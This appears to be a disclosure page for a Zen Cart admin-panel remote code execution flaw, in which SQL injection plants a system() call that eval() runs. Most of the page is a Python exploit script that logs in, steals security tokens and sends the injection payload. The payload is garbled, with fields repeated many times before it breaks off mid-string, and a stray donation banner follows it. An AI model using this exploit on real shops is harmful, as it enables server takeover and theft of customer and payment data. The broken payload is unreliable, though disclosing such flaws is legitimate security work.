Zen Cart configuration.php RCE via eval() and SQL Injection PoC

Vulnerability Overview Zen Cart's administration panel ( ) contains a Remote Code Execution (RCE) vulnerability. This flaw stems from the system retrieving configuration settings from the database and passing them directly to PHP's function without adequate sanitization or validation. Impact Scope Successful exploitation of this vulnerability allows attackers to execute arbitrary system commands with the permissions of the web server user. This can lead to: Full compromise of the entire server. Access to sensitive customer and payment data. Modification or complete deletion of the website. Remediation 1. Code Injection Control: Ensure proper controls are in place during code generation to prevent code injection. 2. Neutralization of Dynamic Evaluation Instructions: When dynamically evaluating code, properly neutralize instructions to prevent eval injection. Proof of Concept (PoC) Step 1: Inject Payload via SQL Injection The attacker uses a separate SQL injection (e.g., in ) to overwrite the configuration entry: Step 2: Trigger RCE The attacker navigates to the configuration page: . The system retrieves the malicious and executes it via . The output of the command is rendered in the administrator's browser. Exploitation Script (rce.py) ```python import urllib.request, urllib.parse, http.cookiejar, re, base64, os --- Configuration --- BASE_URL = "http://localhost:8080/stomp-LGR-feast" HOST_HDR = "localhost:8080" USER, PASS = "admin", "Admin123@" RCE_OUT = "/tmp/rce_poc_result.txt" --- Session Initialization --- cj = http.cookiejar.CookieJar() opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def req(url, data=None, headers=None): if data and isinstance(data, dict): data = urllib.parse.urlencode(data).encode() r = urllib.request.Request(url, data=data) r.add_header("Host", HOST_HDR) if headers: for k, v in headers.items(): r.add_header(k, v) return opener.open(r).read().decode(errors='ignore') try: if os.path.exists(RCE_OUT): os.remove(RCE_OUT) 1. Login to obtain session print("[] Logging in...") login_html = req(f"{BASE_URL}/index.php?cmd=login") token = re.search(r'securityToken" value="([^"]+)', login_html).group(1) req(f"{BASE_URL}/index.php?cmd=login", {"admin_name": USER, "admin_pass": PASS, "securityToken": token}) 2. Obtain token for the modules page print("[] Obtaining security token for injection...") mod_html = req(f"{BASE_URL}/index.php?cmd=modules&set=payment&module=moneyorder") token2 = re.search(r'securityToken" value="([^"]+)', mod_html).group(1) 3. Perform SQL Injection (VE-0017) to plant RCE payload print("[*] Planting RCE payload via SQL (VE-0017)...") sql_key = "INVALID" sql = f"UNION SELECT 'title', '{'error':'TEXT_EMAIL', 'set_function': 'system(\"echo {base64.b64encode(b'ls').decode()}\")', 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configuration_value': 'True', 'use_function': NULL, 'set_function': NULL, 'date_added': NULL, 'last_modified': NULL, 'configuration_group_id': '1', 'sort_order': '1', 'last_modified': NULL, 'date_added': NULL, 'configuration_key': 'MODULE_PAYMENT_MONEYORDER_STATUS', 'configurati

Goal Reached Thanks to every supporter — we hit 100%!

Zen Cart configuration.php RCE via eval() and SQL Injection PoC